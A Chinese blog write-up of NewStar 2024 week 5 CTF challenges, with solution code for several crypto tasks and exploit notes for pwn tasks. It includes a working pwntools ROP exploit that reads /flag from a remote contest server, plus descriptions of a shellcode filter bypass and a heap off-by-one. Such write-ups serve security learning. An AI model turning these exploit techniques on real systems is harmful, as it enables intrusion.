[NewStar 2024] week5完结

embedded/2024/11/13 16:29:38/

每次都需要用手机验证码登录,题作的差不多就没再进过。今天把week5解出的部分记录下。好像时间过去很久了。

Crypto

没e也能完

这题给了e,p,q,dp,dq。真不清楚还缺啥 long_to_bytes(pow(c,dp,p))

格格你好棒

给了a,b和提示((p+2*r) * 3*a + q) % b < 70 其中r是个短量。可以推出

3ap+6ra+q = kb+alpha 显然这里的k也就一两位,暂时弄个8爆破一下(别更他名字里的格)

for k in range(1,8):tp = k*b//(3*a)if tp.nbits()==512:print(tp)tq = k*b - tp*3*a for i in range(70):q = tq + i if isPrime(q):print(long_to_bytes(int(pow(c,inverse_mod(0x10001,q-1),q))))

这个代码有点斜,从一开始就吐槽python是多么神经非要用空格代替块标记。 为了减少缩进还要用逆向的规则not continue。就不用逆向的,就斜着写。python最大的缺点应该就是用空格代替块标记吧。

easy_ECC

把给的数代进去就行

#C1 = m + r*K = m +r*k*G  = m + k*C2
#C1 - k*C2 = m
E = EllipticCurve(GF(p),[a,b])
C1,C2 = E(c1),E(c2)
m = C1 - k*C2
x,y = m.xy()
long_to_bytes(int(c_left*inverse_mod(int(x),p)%p))+long_to_bytes(int(c_right*inverse_mod(int(y),p)%p))
#flag{This_is_the_last_crypto_}

RSA?md5!

flag就差7个字节,copper一下就行

hm0 = pow(s,e,n)
hm = long_to_bytes(int(hm0))
#b'86133884de98baada58a8c4de66e15b8'
#部分明文已知
#flag = 'flag{th1s_1s_my_k3y:' + m + '0x86133884de98baada58a8c4de66e15b8}'
P.<x> = PolynomialRing(Zmod(n))
f = (x*256^35 + bytes_to_long(b'flag{th1s_1s_my_k3y:')*256^(35+7) + bytes_to_long(b'0x86133884de98baada58a8c4de66e15b8}'))^e - c 
#res = f.monic().small_roots(X=256^7)
#res
#long_to_bytes(int(res[0]))
#cmd5查询
m0 = 'adm0n12'
get_flag(m0)
#flag{th1s_1s_my_k3y:adm0n120xbfab06114aa460b85135659e359fe443f9d91950ca95cbb2cbd6f88453e2b08b}

学以致用

3个方程2个未知数,度又很低,直接求groebner_basis

gift = b'GoOd_byE_nEw_5t@r'
m3 = bytes_to_long(gift)
P.<m1,m2> = PolynomialRing(Zmod(n))
f1 = m1^3 - c1
f2 = m2^3 - c2 
f3 = (m1+m2+m3)^3 - c3 F = [f1,f2,f3]
ideal = Ideal(F)
I = ideal.groebner_basis()
print(I)res=[x.constant_coefficient() for x in I]
m1 = -res[0]%n
m2 = -res[1]%n
long_to_bytes(int(m1))
long_to_bytes(int(m2))
#flag{W1Sh_you_Bec0me_an_excelL3nt_crypt0G2@pher}

PWN

C_or_CPP

先是c输入的时候泄露残留得到ld(一般是libc,不过ld也有对应的可执行块和pop_rdi等gadget)然后是c++到c复制的时候有溢出。这锅都让C背了

from pwn import *
context(arch='amd64', log_level='debug')ld = ELF('./ld-linux-x86-64.so.2')
libc = ELF('./libc.so.6')
elf = ELF('./C_or_CPP')#p = process('./C_or_CPP')
p = remote('47.104.11.21', 32794)p.sendlineafter(b"Please choose an option: ", b'2')
p.recvuntil(b"Address of c_string: ")
stack = int(p.recvline(), 16) +0x70
p.sendlineafter(b"C++ String input: ", b'END')
p.sendafter(b"C String input: ", b'A'*0x50)
p.recvuntil(b'A'*0x50)
ld_base = u64(p.recv(6)+b'\0\0') - 0x3a040
pop_rdi = ld_base + 0x000000000000351e # pop rdi ; ret
pop_rsi = ld_base + 0x00000000000054da # pop rsi ; ret
pop_rdx = ld_base + 0x0000000000020323 # pop rdx ; pop rbx ; ret
pop_rax_rdx = ld_base + 0x0000000000020322 # pop rax ; pop rdx ; pop rbx ; ret
print(f"{stack = :x} {ld_base = :x}")p.sendlineafter(b"Please choose an option: ", b'5')
p.sendlineafter(b"Try to say something: ", flat(b'\0'*0x48, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x402e4a))
libc.address = u64(p.recv(6) + b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")#gdb.attach(p, "b*0x402f8b\nc")
pop_rax = libc.address + 0x0000000000045eb0 # pop rax ; retsyscall = libc.sym['getpid']+9
p.sendlineafter(b"Try to say something: ", flat([b'/flag\0\0\0'*8,0,  pop_rdi, stack, pop_rsi, 0, pop_rax,2,syscall,pop_rdi, 3, pop_rsi, 0x408800, pop_rax_rdx, 0,0x50,0, syscall,pop_rdi, 1, pop_rax, 1, syscall]))p.interactive()

simple_shellcode

以下待完成。这个的漏洞在于当输入中包含非字母时会删除,但是指针i并不会在原地保留继续检查,而是像正常指针一样移到下一个,比如当前是2,删除后3会变为2而下个检查是3,这样不合法的字节写两遍即可绕过检查。也可以用字母写shellcode就是麻烦点。对于每次只能输入8字节,就每次输入8字节就行了多输入几次。

然后对于沙箱用openat代替read用mmap代替read用writev代码write

no_output

对于关闭0,1,2的情况,因为与用户的连接已经中断,侧信道是不行了。听说打内网的时候可以开socket然后send。可以咱也没有互联网的IP,算了。看了官方WP还真是开socket,无语。

当时还想到另外一种情况fork+ptrace不过没成功,开两个进程不清楚pid也没成功。不过WP说也可以但pid怎么弄还是个问题。

Elden_Ring

两个绕过,第1个是strncmp这个函数跟strcmp,stricmp差不多,当参1串\0里结束,所以只需要输入一个sh256后开头是0的串即可,这个需要爆破一下,平均1/256

第2个是输入base64值去=,会申请L//4*3+1的空间,而解码后长度能达到L//4*3+2,也就是有个off_by_one,堆题也就够了。后边是2.23的用realloc_hook 调偏移+malloc_hook


http://www.ppmy.cn/embedded/136637.html

相关文章

蓝桥杯-网络安全比赛题目-遗漏的压缩包

小蓝同学给你发来了他自己开发的网站链接&#xff0c; 他说他故意留下了一个压缩包文件&#xff0c;里面有网站的源代码&#xff0c; 他想考验一下你的网络安全技能。 &#xff08;点击“下发赛题”后&#xff0c;你将得到一个http链接。如果该链接自动跳转到https&#xff0c;…

C# 高精度计时器Stopwatch

C# 高精度计时器Stopwatch 引言经典举例(1)启动和停止方法实例(2)复位和重启方法实例 小结 引言 偶然发现C# 的计时器类Stopwatch&#xff0c;他特别适合测量运行时间&#xff0c;使用简单、计时精确。它源于命名空间System.Diagnostics&#xff0c;使用时必须using引用。 经…

Python实现PSO粒子群优化算法优化CNN-Transformer回归模型(优化神经元数量和迭代次数)项目实战

说明&#xff1a;这是一个机器学习实战项目&#xff08;附带数据代码文档视频讲解&#xff09;&#xff0c;如需数据代码文档视频讲解可以直接到文章最后关注获取。 1.项目背景 随着深度学习技术的发展&#xff0c;卷积神经网络&#xff08;CNN&#xff09;和变换器&#xff0…

python manage.py命令集

python manage.py 是 Django 框架中用于管理 Django 项目的命令行工具。它提供了一系列命令&#xff0c;用于创建应用、运行服务器、创建数据库迁移、管理静态文件等。 startproject python manage.py startproject myproject 创建一个新的 Django 项目。myproject 是项目的…

【多模态读论文系列】LLaMA-Adapter V2论文笔记

分享第二篇论文阅读笔记&#xff0c;欢迎指正&#xff0c;LLaMA-Adapter V2: Parameter-Efficient Visual Instruction Model LLaMA-Adapter V2: Parameter-Efficient Visual Instruction Model 论文&#xff1a;https://arxiv.org/abs/2304.15010 代码&#xff1a;https://…

MISRA C++ 2023 编码标准规范

百度安全验证 百度安全验证C新编码标准MISRA C:2023已发布&#xff0c;一起来了解下C的发展史

实现 Nuxt3 预览PDF文件

安装必要的库&#xff0c;这里使用PDF.js库 npm install pdfjs-dist --save 为了解决跨域问题&#xff0c;在server/api 下 创建一个请求api&#xff0c; downloadFileByProxy.ts import { defineEventHandler } from h3;export default defineEventHandler(async event >…

React Hooks 为什么不能在 if 语句中使用???

主要原因是因为与 Hooks 的调用顺序有关。 React 有一条“Hooks 调用顺序不变”的规则&#xff0c;为的是来保证组件的状态。 每当组件渲染的时候&#xff0c;Hooks 必须按照顺序调用。 如果将 Hook 放在 if 语句中&#xff0c;可能会导致调用顺序发生变化&#xff0c;从而打…